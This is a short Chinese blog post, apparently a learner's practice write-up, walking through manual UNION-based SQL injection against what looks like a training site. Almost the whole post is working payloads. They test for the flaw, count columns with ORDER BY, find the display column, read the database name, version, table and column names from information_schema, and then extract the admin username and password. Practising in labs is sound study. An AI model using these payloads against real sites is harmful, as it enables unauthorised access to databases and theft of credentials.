SQL注入攻击原理 实战

我来进行实战了，总在看教程。

---

前言

提示：这里可以添加本文要记录的大概内容：
前言，前言，前言(挠头)啊，我终于打实战了

---

提示：以下是本篇文章正文内容，下面案例可供参考

一，网站是否存在sql漏洞

 ?id=1 and 1=1

看这样子，应该是不存在的

如果没有就继续吧，

?id=1 and 1=2

哎，你看它变了，

二、判断一下字段

?id=1 and 1=1 order by 1

又回来了，没有那就试试这个？

?id=1 and 1=1 order by 2

哦，我的天啊，事不过三，试试这个

?id=1 and 1=1 order by 3

goog,成功了

3. 判断显点

?id=1 and 1=2 union select 1,2

你看，那里有个2

4.查找相关信息

1.查询数据库

?id=1 and 1=2 union select 1,database()

好吧，数据库名称就叫猫舍 辛巴

2.版本

?id=1 and 1=2 union select 1,version()

没啥可说的，

3.数据库表名

 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

我承认这个长了点，我笔记也写了这么多

4.字段名

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

5,查询

 ?id=1 and 1=2 union select 1,username from admin  limit 0,1

又回来了，

 ?id=1 and 1=2 union select 1,password from admin  limit 0,1

好了，拿到key了

---

总结

我是照着我记得笔记进行的，本文素材来自这里
有谁知道上面这只猫叫什么名字？看起来还不错，应该好养